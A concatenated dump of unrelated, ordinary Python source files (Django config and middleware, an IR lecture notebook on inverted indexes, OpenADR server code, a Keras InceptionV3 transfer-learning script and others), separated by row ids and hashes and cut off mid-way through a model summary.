if answ.lower().startswith('y'):
profile = input('{0:30}[{1:>30}] = '.format('AWS profile name',parameters.get_profile_name()))
if len(profile) == 0:
profile = parameters.get_profile_name()
table = input('{0:30}[{1:>30}] = '.format('DynameDB table name',parameters.get_table_name()))
if len(table) == 0:
table = parameters.get_table_name()
if has_configuration() and has_table(table):
print('The secret-wallet has been configured previously for the same table.\nTo protect secrets, you need to call a reconfigure procedure')
exit(1)
conf_pwd = get_password('Configuration password', 6)
conf_key = encrypt_key(conf_pwd)
conf = {'configuration key': conf_key,
'profile': profile,
'table': table}
parameters.set_profile_name(profile)
parameters.set_table_name(table)
display_configuration(CONFIG_FILE, 'secret wallet configuration is located', conf)
answ = input("\nDo you want to set the configuration parameters? (yes|exit) ")
if answ.lower().startswith('y'):
try:
set_configuration(conf_key, profile, table, None, CONFIG_FILE)
create_table(table)
except Exception as e:
print(e)
print("Could not write the configuration file. Make sure you have AWS connection and try again")
else:
exit(1)
answ = input("\nDo you want to select or change the storage type: local or remote? (yes|skip) ")
if answ.lower().startswith('y'):
while (True):
storage = input('{0:30}[{1:>30}] = '.format('storage type (aws_dynamo|local_sqlite)',parameters.get_storage_type()))
if len(storage) == 0:
storage = parameters.get_storage_type()
if storage.lower() in ('aws_dynamo','local_sqlite'):
break
conf = get_configuration(CONFIG_FILE)
conf["storage_type"] = storage
display_configuration(CONFIG_FILE, 'secret wallet configuration is located', conf)
answ = input("\nDo you want to set the configuration parameters? (yes|exit) ")
if answ.lower().startswith('y'):
try:
set_configuration_data(conf, CONFIG_FILE)
except Exception as e:
print(e)
print("Could not write the configuration file. Make sure you have AWS connection and try again")
else:
exit(1)
|
990,115 | 3df54c1e3b276afc90e9cd113d41fc1d76f77d5e | """
1
5
8 3 5 7 2
3
"""
def main():
n_cases = int(input())
while n_cases > 0:
n_cases -= 1
n = int(input())
arr = map(int, input().split())
classes = set()
for num in arr:
cnt = 0
while num:
if num & 1:
cnt += 1
num >>= 1
classes.add(cnt)
print(len(classes))
if __name__ == "__main__":
main()
|
990,116 | 9bd8be93b8c72a24c33f7682af0a523ad2abffb0 | from django.conf import settings
try:
# MiddlewareMixin is not available on older versions of Django
from django.utils.deprecation import MiddlewareMixin
except ImportError:
MiddlewareMixin = object
from airbrake.utils.client import Client
class AirbrakeNotifierMiddleware(MiddlewareMixin):
def __init__(self, *args, **kwargs):
self.client = Client()
super(AirbrakeNotifierMiddleware, self).__init__(*args, **kwargs)
def process_exception(self, request, exception):
if (hasattr(settings, 'AIRBRAKE') and
not settings.AIRBRAKE.get('DISABLE', False) and
not isinstance(exception, settings.AIRBRAKE.get('FILTERED_EXCEPTIONS', tuple()))):
self.client.notify(exception=exception, request=request)
|
990,117 | 9c6335d6920ae0aa412e9206feba05197d039f2f | import os
import json
import numpy as np
import pandas as pd
import sklearn.metrics as scores
THRTYPE = "calibration" # "fscore"
DATA_PATH = "data/models/targetmode_1/2022_02_22__reference"
FILE = os.path.join(DATA_PATH, "test_predictions.parquet")
FILE_VAL = os.path.join(DATA_PATH, "val_predictions.parquet")
print("Find opt_threshold on val scores", flush=True)
val_df = pd.read_parquet(FILE_VAL)
val_df.rename(columns={"flash": "target", "fit": "output"}, inplace=True)
pred_score = val_df["output"]
if THRTYPE == "fscore":
ofile = "test_scores.json"
roc_auc = scores.roc_auc_score(val_df["target"], pred_score, multi_class="ovr")
precisions, recalls, prc_thresholds = scores.precision_recall_curve(val_df["target"], pred_score)
prc_auc = scores.auc(recalls, precisions)
fscores = (2 * precisions * recalls) / (precisions + recalls)
opt_threshold = prc_thresholds[np.argmax(fscores)]
elif THRTYPE == "calibration":
ofile = "test_scores_calibration.json"
expect = val_df['target'].mean()
opt_threshold = np.quantile(pred_score, 1 - expect)
print("Compute test scores", flush=True)
return_df = pd.read_parquet(FILE)
return_df.rename(columns={"flash": "target", "fit": "output"}, inplace=True)
pred_score = return_df["output"]
roc_auc = scores.roc_auc_score(return_df["target"], pred_score, multi_class="ovr")
precisions, recalls, prc_thresholds = scores.precision_recall_curve(return_df["target"], pred_score)
prc_auc = scores.auc(recalls, precisions)
pred_class = np.where(pred_score > opt_threshold, 1, 0)
class_rep = scores.classification_report(return_df["target"], pred_class)
conf_mat = scores.confusion_matrix(return_df["target"], pred_class)
test_scores = {
"class_rep": class_rep,
"conf_mat": np.array2string(conf_mat),
"opt_threshold": opt_threshold,
}
n = conf_mat.sum()
TP = conf_mat[1, 1]
TN = conf_mat[0, 0]
FP = conf_mat[0, 1]
FN = conf_mat[1, 0]
mcc = scores.matthews_corrcoef(return_df["target"], pred_class)
test_scores["prc_auc"] = prc_auc
test_scores["roc_auc"] = roc_auc
test_scores["accuracy"] = (TP + TN) / n
test_scores["false_alarm_rate"] = FP / (FP + TP)
test_scores["true_negative_rate"] = TN / (TN + FP)
test_scores["true_positive_rate"] = TP / (FN + TP)
test_scores["critical_success_index"] = TP / (TP + FN + FP)
test_scores["mcc"] = mcc
print('Area under PRC: {:.6f}'.format(prc_auc), flush=True)
print('Area under ROC: {:.6f}'.format(roc_auc), flush=True)
print(f'Optimal threshold: \n{opt_threshold}', flush=True)
print(f'Classification report: \n{class_rep}', flush=True)
print(f'Confusion matrix report: \n{conf_mat}', flush=True)
print('Accuracy: {:.6f}'.format(test_scores["accuracy"]), flush=True)
print('False-alarm-rate: {:.6f}'.format(test_scores["false_alarm_rate"]), flush=True)
print('True-negative-rate: {:.6f}'.format(test_scores["true_negative_rate"]), flush=True)
print('True-positive-rate: {:.6f}'.format(test_scores["true_positive_rate"]), flush=True)
print('Critical-success-index: {:.6f}'.format(test_scores["critical_success_index"]), flush=True)
print('Matthews correlation coefficient: {:.6f}'.format(test_scores["mcc"]), flush=True)
json_test_scores = json.dumps(test_scores, indent=4)
json_file = open(os.path.join(DATA_PATH, ofile), 'w')
json_file.write(json_test_scores)
json_file.close()
|
990,118 | 2b5ca5ef3bcea87df7f1aa4a69a1c1a5e00caa85 | """
"""
from src.domain.article import Articles
from src.interface import ArticleRepository
class ArticleInteractor:
"""
"""
article_repository: ArticleRepository
def __init__(self, article_repository: ArticleRepository) -> None:
self.article_repository = article_repository
async def get_list(self, page: int) -> Articles:
return await self.article_repository.get_list(page)
|
990,119 | 9ed652cf3967006fd580e77d71621182874a6bfe |
# # CS 429: Information Retrieval
#
# <br>
# ## Lecture 3: Indexing II
#
# <br>
#
# ### Dr. Aron Culotta
# ### Illinois Institute of Technology
# ### Spring 2014
#
# ---
#
# # Recall Inverted Index
#
# 
#
# Runtime: $O(x + y)$, for postings lists of size $x$ and $y$
# # Skip Lists
#
# 
# Worst-case runtime?
# $O(x + y)$
# Best-case runtime?
# $O(k)$, for $k$ matching documents
# # Merging Skip Lists
# In[1]:
# tuple (x,y,z): x=doc_id, y=skip index, z=skip value
index = {'cat': [(2, 3, 16), 4, 8, (16, 6, 28), 19, 23, 28, 43],
'dog': [(1, 3, 5), 2, 3, (5, 6, 51), 8, 41, 51, 60, 71]}
# In[2]:
# Print postings list containing skip pointers.
def print_skip_list(docs):
idx = 0
while idx < len(docs):
print docs[idx]
if type(docs[idx]) is tuple: # skip
idx = docs[idx][1]
else:
idx += 1
# In[3]:
print_skip_list(index['cat'])
# Out[3]:
# (2, 3, 16)
# (16, 6, 28)
# 28
# 43
#
# In[4]:
print_skip_list(index['dog'])
# Out[4]:
# (1, 3, 5)
# (5, 6, 51)
# 51
# 60
# 71
#
# 
# # Where to insert skip pointers?
#
# Tradeoff:
#
# - More pointers mean more opportunities to skip
# - Fewer pointers means less time wasted comparing to skip values.
# - Heuristic: $\sqrt{n}$ evenly-spaced pointers, for list of size $n$.
#
# 
# # Adding to an index with skip pointers
#
# What happens when we have to add a document to a postings list?
#
#
# If postings list is a ...
#
# - linked list
# - dynamic array (e.g., ArrayList)
# # Phrase queries
#
# "cat dog" **vs** cat AND dog
#
#
#  <img src="files/cat_and_dog.jpg" width=40%/>
# # Phrase Indexing
#
# Two approaches
#
# 1. **Biword Index**
# 2. **Positional Index**
# # Biword index
#
# "The cat dog jumped."
#
# 
# # Finding phrases
# In[5]:
docs = [l.strip() for l in open("documents.txt", 'rt').readlines()]
print 'read', len(docs), 'docs'
# Out[5]:
# read 62 docs
#
# In[6]:
def ngrams(n, docs):
terms = set()
for d in docs:
toks = d.split()
for i in range(len(toks) - n + 1):
terms.add('_'.join(toks[i:i+n]))
return terms
# In[7]:
print ngrams(1, ['a b c'])
print ngrams(2, ['a b c'])
print ngrams(3, ['a b c'])
print ngrams(4, ['a b c'])
# Out[7]:
# set(['a', 'c', 'b'])
# set(['b_c', 'a_b'])
# set(['a_b_c'])
# set([])
#
# In[8]:
max_n = 10
sizes = [len(ngrams(i, docs)) for i in range(1, max_n)]
print 'number of terms=', zip(range(1, max_n), sizes)
# Out[8]:
# number of terms= [(1, 380), (2, 585), (3, 599), (4, 567), (5, 511), (6, 452), (7, 391), (8, 330), (9, 272), (10, 221), (11, 172), (12, 129), (13, 90), (14, 61), (15, 40), (16, 28), (17, 22), (18, 17), (19, 14), (20, 11), (21, 10), (22, 9), (23, 8), (24, 7), (25, 6), (26, 5), (27, 4), (28, 3), (29, 2), (30, 1), (31, 0), (32, 0), (33, 0), (34, 0), (35, 0), (36, 0), (37, 0), (38, 0), (39, 0), (40, 0), (41, 0), (42, 0), (43, 0), (44, 0), (45, 0), (46, 0), (47, 0), (48, 0), (49, 0), (50, 0), (51, 0), (52, 0), (53, 0), (54, 0), (55, 0), (56, 0), (57, 0), (58, 0), (59, 0), (60, 0), (61, 0), (62, 0), (63, 0), (64, 0), (65, 0), (66, 0), (67, 0), (68, 0), (69, 0), (70, 0), (71, 0), (72, 0), (73, 0), (74, 0), (75, 0), (76, 0), (77, 0), (78, 0), (79, 0), (80, 0), (81, 0), (82, 0), (83, 0), (84, 0), (85, 0), (86, 0), (87, 0), (88, 0), (89, 0), (90, 0), (91, 0), (92, 0), (93, 0), (94, 0), (95, 0), (96, 0), (97, 0), (98, 0), (99, 0)]
#
# In[9]:
get_ipython().magic(u'pylab inline')
# 1-grams, 1-grams + 2-grams, ...
x = [sum(sizes[:i]) for i in range(1,max_n)]
print x
plot(x)
# Out[9]:
# Populating the interactive namespace from numpy and matplotlib
# [380, 965, 1564, 2131, 2642, 3094, 3485, 3815, 4087, 4308, 4480, 4609, 4699, 4760, 4800, 4828, 4850, 4867, 4881, 4892, 4902, 4911, 4919, 4926, 4932, 4937, 4941, 4944, 4946, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947, 4947]
#
# [<matplotlib.lines.Line2D at 0x10da61110>]
# image file:
# # Limits of phrase indices
#
# If we index 5-grams, how can we search for the phrase "to be or not to be"?
# - AND of 5-grams "to be or not to" AND "be or not to be"
# - Very small possibility of a false match
# What if we index 2-grams and we search for the phrase "new york university"
#
# - "new york" AND "york university"
# - greater possibility of false match
# # Positional Index
#
# - Store position of term in original document.
# - *term*: [(doc_id1, [pos1, pos2, ...]), (doc_id2, [pos1, pos2, ...]), ...]
# In[10]:
doc0 = "The cat dog jumped over the dog."
doc1 = "The dog jumped."
index = {
'the': [(0, [0, 5]), (1, [0])],
'cat': [(0, [1])],
'dog': [(0, [2, 6]), (1, 1)],
'jumped': [(0, [3]), (1, [2])]
}
# # Positional Index
# - Additional space needed?
# - One `int` for each time a term occurs in a document.
# - Biggest impact on long documents.
# - E.g., consider a term that occurs once every thousand words:
#
# |document length | # postings | # positional postings|
# |----------------|------------|----------------------|
# |1000 | 1 | 1 |
# |100,000 | 1 | 100 |
#
# # Merging positional postings lists
#
# How can we efficiently merge positional postings lists to find phrases?
# In[11]:
index = {'cat': [(0, [1])],
'dog': [(0, [2, 6]),
(1, [1])]}
# [ (doc_id1, [pos1, pos2, ...]),
# (doc_id2, [pos1, pos2, ...]), ...
# ]
# Search for "cat dog"
# This is inefficient! See Figure 2.12 (from book) and next assignment for more.
for cat_doc in index['cat']:
for dog_doc in index['dog']:
if cat_doc[0] == dog_doc[0]: # In same document
print 'both appear in ', cat_doc[0]
for cat_pos in cat_doc[1]:
for dog_pos in dog_doc[1]:
if cat_pos == dog_pos - 1: # dog comes right after cat.
print 'found "cat dog" at positions', cat_pos, dog_pos
# Out[11]:
# both appear in 0
# found "cat dog" at positions 1 2
#
# # Combining Biword Index and Positional Index
#
# - Store only phrases that are
# - Commonly queried
# - Individual words are common
# - *Britney Spears* vs. *The Who*
# 
#
# 1. How often is a skip pointer followed (i.e., p1 is advanced to skip(p1))?
# 2. How many postings comparisons will be made by this algorithm while intersecting the two lists?
# 3. How many postings comparisons would be made if the postings lists are intersected without the use of skip pointers?
|
990,120 | d4bc84f2c3788e6645155f43c4c77d5325cdddfc | import unittest
import xml.etree.ElementTree as ET
from test.parser.template.graph.test_graph_client import TemplateGraphTestClient
class TemplateGraphListProcessingTests(TemplateGraphTestClient):
def test_first(self):
template = ET.fromstring("""
<template>
<first>one two three four</first>
</template>
""")
ast = self.parser.parse_template_expression(template)
self.assertIsNotNone(ast)
self.assertEqual(ast.resolve(None, None), "one")
def test_rest(self):
template = ET.fromstring("""
<template>
<rest>one two three four</rest>
</template>
""")
ast = self.parser.parse_template_expression(template)
self.assertIsNotNone(ast)
self.assertEqual(ast.resolve(None, None), "two three four")
if __name__ == '__main__':
unittest.main()
|
990,121 | c37b1dc7c20ebb2597311116c6c234db1294566a | import json
import re
import sys
base_path = sys.path[0]+'/'
'''
The following file contains code that reads and writes a js object from/to
server.js that contains info(ip,port) about server
'''
def set_url(url1):
#validation of url -- remaining
base_url = url1.strip()
res = re.findall("http://(.*):([0-9]*)",base_url)
ip = res[0][0]
port = res[0][1]
url = "http://"+ip+':'+port+"/main_server/"
js = json.load(open(base_path+'server.js'))
js["ip"] = ip
js["port"] = port
js["base_url"] = url
json.dump(js,open(base_path+'server.js','w'),sort_keys=True,indent=4)
cmd = sys.argv[1:]
if len(cmd)==2 and cmd[0]=='set-url':
set_url(cmd[1])
if len(cmd)==1 and cmd[0]=='info':
print(open(base_path+'server.js').read())
else:
print('Invalid arguments , See man page for details')
|
990,122 | 8281cbfea96551ddf539e3c37b417539ee3d505d | """shop URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
import xadmin
from django.urls import re_path, include
from rest_framework.documentation import include_docs_urls
from django.views.static import serve
from shop.settings import MEDIA_ROOT, STATIC_ROOT
urlpatterns = [
re_path('xadmin/', xadmin.site.urls),
re_path(r'^media/(?P<path>.*)/$', serve, {"document_root": MEDIA_ROOT}),
re_path(r'docs/', include_docs_urls(title="多多")),
re_path(r'^api-auth/', include('rest_framework.urls')),
re_path(r"goods/", include("goods.urls")),
re_path(r"users/", include("users.urls")),
re_path(r"users_operation/", include("user_operation.urls")),
re_path(r"trade/", include("trade.urls")),
re_path('', include('social_django.urls', namespace='social')),
re_path(r'^static/(?P<path>.*)$', serve, {"document_root": STATIC_ROOT})
]
|
990,123 | 2801fa95e1f70f5808b67c25c2c065562a987c8e | def series(n):
x = 0
c = 1
total = 0
for i in range(n):
c = (1 + (2 * i))
flip = (-1) ** i
newC = c*flip
x = (4/newC)
total = total + x
return total
def main():
print("Program that estimates Pi")
times = eval(input("n? "))
s = series(times)
print("Approximation of Pi= ",s)
main()
|
990,124 | 05a0849f019b37ace62af9960ba48f7c36d31ae2 | def medias_por_inicial(notas_por_nome):
notas_por_inicial = {}
for nome in notas_por_nome:
primeira_letra = nome[0]
contador = 0
for nota in notas_por_nome[nome]:
if primeira_letra not in notas_por_inicial:
notas_por_inicial[primeira_letra] = nota
else:
notas_por_inicial[primeira_letra] += nota
contador += 1
notas_por_inicial[primeira_letra] /= contador
return notas_por_inicial
|
990,125 | 7ab1f3a708baad4261e9cda1635ee1b5c91d9f8f | ## Forest Gnome
## Rock Gnome
# 2'11" +2d4
# 35lb x 1 lb |
990,126 | 2724cf969bcb88a1952be1c3ab8d2bdb34c6f626 | import logging
from BaseHTTPServer import BaseHTTPRequestHandler
from openadr.util import *
from openadr.handlers.EiEventHandlers import OADR_MESSAGE_HANDLER
class VTNHttpServer(BaseHTTPRequestHandler):
@classmethod
def HttpPreStartCallback(cls):
pass
@classmethod
def HttpPostStartCallback(cls):
# print the current running setup
print_startup_message()
@classmethod
def HttpPreStopCallback(cls):
pass
@classmethod
def HttpPostStopCallback(cls):
# print goodbye message!
print_shutdown_message()
def do_POST(self):
# get incoming request data
dlen = int(self.headers.getheader('content-length'))
data = self.rfile.read(dlen)
# get the url_path (partial url)
url_path = self.path
msg = 'VTN HTTP server received a request\n' \
' url path : %s\n' \
' data length : %d\n' \
' data : %s\n' % \
(url_path, dlen, data)
logging.debug(msg)
resp_d = VTNMessageHandler(url_path, data)
self.send_response(resp_d['code'])
self.end_headers()
self.wfile.write(resp_d['msg'])
msg = 'VTN HTTP server sent the following response\n' \
' to : %s\n' \
' data length : %s\n' \
' data : %s\n' % \
(self.client_address, resp_d['code'], resp_d['msg'])
logging.debug(msg)
return None
def VTNMessageHandler(url_path, data):
resp_d = {'code': 200,
'msg' : '' }
# valid_incoming_data() retruns
# request dictionary - req_d
#
# on failure: req_d['valid'] == False
# req_d['code']
# req_d['msg']
#
# on success: req_d['valid'] == True
# req_d['service']
# req_d['message']
# req_d['xml_h']
req_d = valid_incoming_data(url_path, data)
# on failure, send a http repsonse
# with the following parameters
# req_d['code']
# req_d['msg']
#
if not req_d['valid']:
return req_d
# if the incoming request (url, xml schema,
# message <-> service mapping, etc) is
# validated and found legitimate then
# process the message
service = req_d['service']
message = req_d['message']
req_xml_h = req_d['xml_h']
# get the message handler for the
# respective oadr service
MessageHandler = OADR_MESSAGE_HANDLER[service]
resp_xml_s = MessageHandler(req_xml_h)
#print 'resp_xml_s : %s' % resp_xml_s
resp_d['msg'] = resp_xml_s
return resp_d
|
990,127 | 695741fda595eef71c777ab42d411a21fd26f23d | import logging
from forklib import fork_map
logging.basicConfig(level=logging.INFO)
def map_func(item):
return item + 1
def main():
for item in fork_map(map_func, range(20000), workers=10):
print(item)
if __name__ == "__main__":
main()
|
990,128 | 879e9cd32a6dd169631ad3c1eb54c779f61aefca | """create view student_signups
Revision ID: a5c1029ee0
Revises: 2eaab064932
Create Date: 2016-09-20 11:48:35.431922
"""
# revision identifiers, used by Alembic.
revision = 'a5c1029ee0'
down_revision = '2eaab064932'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
stmt = """
CREATE VIEW researcher_student_signups
AS
SELECT
conversations.id as conversation_id
FROM
public.conversations
"""
op.execute(stmt)
def downgrade():
op.execute('drop view researcher_student_signups')
|
990,129 | a1ff380320baa0071041e14685da69dcd33bbe1d | import os
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
from tensorflow import keras
from tensorflow.keras.applications.inception_v3 import InceptionV3
weights_file = os.path.join("..", "TFExams", "inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5")
pre_trained_model = InceptionV3(
input_shape=(150,150,3),
include_top=False,
weights=None
)
pre_trained_model.load_weights(weights_file)
for layer in pre_trained_model.layers:
layer.trainable = False
pre_trained_model.summary()
pre_trained_model_last_layer = pre_trained_model.get_layer("mixed7")
print("pre trained model last layer output shape:", pre_trained_model_last_layer.output_shape)
pre_trained_model_last_layer_output = pre_trained_model_last_layer.output
last_layer_outputs = keras.layers.Flatten()(pre_trained_model_last_layer_output)
last_layer_outputs = keras.layers.Dense(1024, activation=tf.nn.relu)(last_layer_outputs)
last_layer_outputs = keras.layers.Dropout(0.2)(last_layer_outputs)
last_layer_outputs = keras.layers.Dense(1, activation=tf.nn.sigmoid)(last_layer_outputs)
model = keras.models.Model(inputs=pre_trained_model.input, outputs=last_layer_outputs)
model.compile(optimizer=tf.optimizers.RMSprop(lr=0.0001), loss=tf.losses.binary_crossentropy, metrics=['accuracy'])
base_dir = os.path.join("..", "TFExams", "cats_and_dogs", "cats_and_dogs_filtered")
train_dir = os.path.join(base_dir, "train")
train_cat_dir = os.path.join(train_dir, "cats")
train_dog_dir = os.path.join(train_dir, "dogs")
test_dir = os.path.join(base_dir, "validation")
test_cat_dir = os.path.join(test_dir, "cats")
test_dog_dir = os.path.join(test_dir, "dogs")
print("Total cats and dogs training samples:", len(os.listdir(train_cat_dir)), len(os.listdir(train_dog_dir)))
print("Total cats and dogs testing samples:", len(os.listdir(test_cat_dir)), len(os.listdir(test_dog_dir)))
train_datagen = keras.preprocessing.image.ImageDataGenerator(
rescale=1/255,
rotation_range=40,
zoom_range=0.2,
shear_range=0.2,
width_shift_range=0.2,
height_shift_range=0.2,
horizontal_flip=True,
)
train_generator = train_datagen.flow_from_directory(
train_dir,
target_size=(150,150),
batch_size=20,
class_mode='binary'
)
test_datagen = keras.preprocessing.image.ImageDataGenerator(rescale=1/255)
test_generator = test_datagen.flow_from_directory(
test_dir,
target_size=(150,150),
batch_size=20,
class_mode='binary'
)
epochs = 20
history = model.fit(train_generator, steps_per_epoch=100, epochs=epochs, validation_data=test_generator, validation_steps=50)
plt.plot(range(epochs), history.history['accuracy'], 'r', label="Training accuracy")
plt.plot(range(epochs), history.history['val_accuracy'], 'b', label="Validation accuracy")
plt.title("Training and validation accuracy")
plt.legend()
plt.figure()
plt.plot(range(epochs), history.history['loss'], 'r', label="Training loss")
plt.plot(range(epochs), history.history['val_loss'], 'b', label="Validation loss")
plt.title("Training and validation loss")
plt.legend()
plt.show()
"""
Model: "inception_v3"
__________________________________________________________________________________________________
Layer (type) Output Shape Param # Connected to
==================================================================================================
input_1 (InputLayer) [(None, 150, 150, 3) 0
__________________________________________________________________________________________________
conv2d (Conv2D) (None, 74, 74, 32) 864 input_1[0][0]
__________________________________________________________________________________________________
batch_normalization (BatchNorma (None, 74, 74, 32) 96 conv2d[0][0]
__________________________________________________________________________________________________
activation (Activation) (None, 74, 74, 32) 0 batch_normalization[0][0]
__________________________________________________________________________________________________
conv2d_1 (Conv2D) (None, 72, 72, 32) 9216 activation[0][0]
__________________________________________________________________________________________________
batch_normalization_1 (BatchNor (None, 72, 72, 32) 96 conv2d_1[0][0]
__________________________________________________________________________________________________
activation_1 (Activation) (None, 72, 72, 32) 0 batch_normalization_1[0][0]
__________________________________________________________________________________________________
conv2d_2 (Conv2D) (None, 72, 72, 64) 18432 activation_1[0][0]
__________________________________________________________________________________________________
batch_normalization_2 (BatchNor (None, 72, 72, 64) 192 conv2d_2[0][0]
__________________________________________________________________________________________________
activation_2 (Activation) (None, 72, 72, 64) 0 batch_normalization_2[0][0]
__________________________________________________________________________________________________
max_pooling2d (MaxPooling2D) (None, 35, 35, 64) 0 activation_2[0][0]
__________________________________________________________________________________________________
conv2d_3 (Conv2D) (None, 35, 35, 80) 5120 max_pooling2d[0][0]
__________________________________________________________________________________________________
batch_normalization_3 (BatchNor (None, 35, 35, 80) 240 conv2d_3[0][0]
__________________________________________________________________________________________________
activation_3 (Activation) (None, 35, 35, 80) 0 batch_normalization_3[0][0]
__________________________________________________________________________________________________
conv2d_4 (Conv2D) (None, 33, 33, 192) 138240 activation_3[0][0]
__________________________________________________________________________________________________
batch_normalization_4 (BatchNor (None, 33, 33, 192) 576 conv2d_4[0][0]
__________________________________________________________________________________________________
activation_4 (Activation) (None, 33, 33, 192) 0 batch_normalization_4[0][0]
__________________________________________________________________________________________________
max_pooling2d_1 (MaxPooling2D) (None, 16, 16, 192) 0 activation_4[0][0]
__________________________________________________________________________________________________
conv2d_8 (Conv2D) (None, 16, 16, 64) 12288 max_pooling2d_1[0][0]
__________________________________________________________________________________________________
batch_normalization_8 (BatchNor (None, 16, 16, 64) 192 conv2d_8[0][0]
__________________________________________________________________________________________________
activation_8 (Activation) (None, 16, 16, 64) 0 batch_normalization_8[0][0]
__________________________________________________________________________________________________
conv2d_6 (Conv2D) (None, 16, 16, 48) 9216 max_pooling2d_1[0][0]
__________________________________________________________________________________________________
conv2d_9 (Conv2D) (None, 16, 16, 96) 55296 activation_8[0][0]
__________________________________________________________________________________________________
batch_normalization_6 (BatchNor (None, 16, 16, 48) 144 conv2d_6[0][0]
__________________________________________________________________________________________________
batch_normalization_9 (BatchNor (None, 16, 16, 96) 288 conv2d_9[0][0]
__________________________________________________________________________________________________
activation_6 (Activation) (None, 16, 16, 48) 0 batch_normalization_6[0][0]
__________________________________________________________________________________________________
activation_9 (Activation) (None, 16, 16, 96) 0 batch_normalization_9[0][0]
__________________________________________________________________________________________________
average_pooling2d (AveragePooli (None, 16, 16, 192) 0 max_pooling2d_1[0][0]
__________________________________________________________________________________________________
conv2d_5 (Conv2D) (None, 16, 16, 64) 12288 max_pooling2d_1[0][0]
__________________________________________________________________________________________________
conv2d_7 (Conv2D) (None, 16, 16, 64) 76800 activation_6[0][0]
__________________________________________________________________________________________________
conv2d_10 (Conv2D) (None, 16, 16, 96) 82944 activation_9[0][0]
__________________________________________________________________________________________________
conv2d_11 (Conv2D) (None, 16, 16, 32) 6144 average_pooling2d[0][0]
__________________________________________________________________________________________________
batch_normalization_5 (BatchNor (None, 16, 16, 64) 192 conv2d_5[0][0]
__________________________________________________________________________________________________
batch_normalization_7 (BatchNor (None, 16, 16, 64) 192 conv2d_7[0][0]
__________________________________________________________________________________________________
batch_normalization_10 (BatchNo (None, 16, 16, 96) 288 conv2d_10[0][0]
__________________________________________________________________________________________________
batch_normalization_11 (BatchNo (None, 16, 16, 32) 96 conv2d_11[0][0]
__________________________________________________________________________________________________
activation_5 (Activation) (None, 16, 16, 64) 0 batch_normalization_5[0][0]
__________________________________________________________________________________________________
activation_7 (Activation) (None, 16, 16, 64) 0 batch_normalization_7[0][0]
__________________________________________________________________________________________________
activation_10 (Activation) (None, 16, 16, 96) 0 batch_normalization_10[0][0]
__________________________________________________________________________________________________
activation_11 (Activation) (None, 16, 16, 32) 0 batch_normalization_11[0][0]
__________________________________________________________________________________________________
mixed0 (Concatenate) (None, 16, 16, 256) 0 activation_5[0][0]
activation_7[0][0]
activation_10[0][0]
activation_11[0][0]
__________________________________________________________________________________________________
conv2d_15 (Conv2D) (None, 16, 16, 64) 16384 mixed0[0][0]
__________________________________________________________________________________________________
batch_normalization_15 (BatchNo (None, 16, 16, 64) 192 conv2d_15[0][0]
__________________________________________________________________________________________________
activation_15 (Activation) (None, 16, 16, 64) 0 batch_normalization_15[0][0]
__________________________________________________________________________________________________
conv2d_13 (Conv2D) (None, 16, 16, 48) 12288 mixed0[0][0]
__________________________________________________________________________________________________
conv2d_16 (Conv2D) (None, 16, 16, 96) 55296 activation_15[0][0]
__________________________________________________________________________________________________
batch_normalization_13 (BatchNo (None, 16, 16, 48) 144 conv2d_13[0][0]
__________________________________________________________________________________________________
batch_normalization_16 (BatchNo (None, 16, 16, 96) 288 conv2d_16[0][0]
__________________________________________________________________________________________________
activation_13 (Activation) (None, 16, 16, 48) 0 batch_normalization_13[0][0]
__________________________________________________________________________________________________
activation_16 (Activation) (None, 16, 16, 96) 0 batch_normalization_16[0][0]
__________________________________________________________________________________________________
average_pooling2d_1 (AveragePoo (None, 16, 16, 256) 0 mixed0[0][0]
__________________________________________________________________________________________________
conv2d_12 (Conv2D) (None, 16, 16, 64) 16384 mixed0[0][0]
__________________________________________________________________________________________________
conv2d_14 (Conv2D) (None, 16, 16, 64) 76800 activation_13[0][0]
__________________________________________________________________________________________________
conv2d_17 (Conv2D) (None, 16, 16, 96) 82944 activation_16[0][0]
__________________________________________________________________________________________________
conv2d_18 (Conv2D) (None, 16, 16, 64) 16384 average_pooling2d_1[0][0]
__________________________________________________________________________________________________
batch_normalization_12 (BatchNo (None, 16, 16, 64) 192 conv2d_12[0][0]
__________________________________________________________________________________________________
batch_normalization_14 (BatchNo (None, 16, 16, 64) 192 conv2d_14[0][0]
__________________________________________________________________________________________________
batch_normalization_17 (BatchNo (None, 16, 16, 96) 288 conv2d_17[0][0]
__________________________________________________________________________________________________
batch_normalization_18 (BatchNo (None, 16, 16, 64) 192 conv2d_18[0][0]
__________________________________________________________________________________________________
activation_12 (Activation) (None, 16, 16, 64) 0 batch_normalization_12[0][0]
__________________________________________________________________________________________________
activation_14 (Activation) (None, 16, 16, 64) 0 batch_normalization_14[0][0]
__________________________________________________________________________________________________
activation_17 (Activation) (None, 16, 16, 96) 0 batch_normalization_17[0][0]
__________________________________________________________________________________________________
activation_18 (Activation) (None, 16, 16, 64) 0 batch_normalization_18[0][0]
__________________________________________________________________________________________________
mixed1 (Concatenate) (None, 16, 16, 288) 0 activation_12[0][0]
activation_14[0][0]
activation_17[0][0]
activation_18[0][0]
__________________________________________________________________________________________________
conv2d_22 (Conv2D) (None, 16, 16, 64) 18432 mixed1[0][0]
__________________________________________________________________________________________________
batch_normalization_22 (BatchNo (None, 16, 16, 64) 192 conv2d_22[0][0]
__________________________________________________________________________________________________
activation_22 (Activation) (None, 16, 16, 64) 0 batch_normalization_22[0][0]
__________________________________________________________________________________________________
conv2d_20 (Conv2D) (None, 16, 16, 48) 13824 mixed1[0][0]
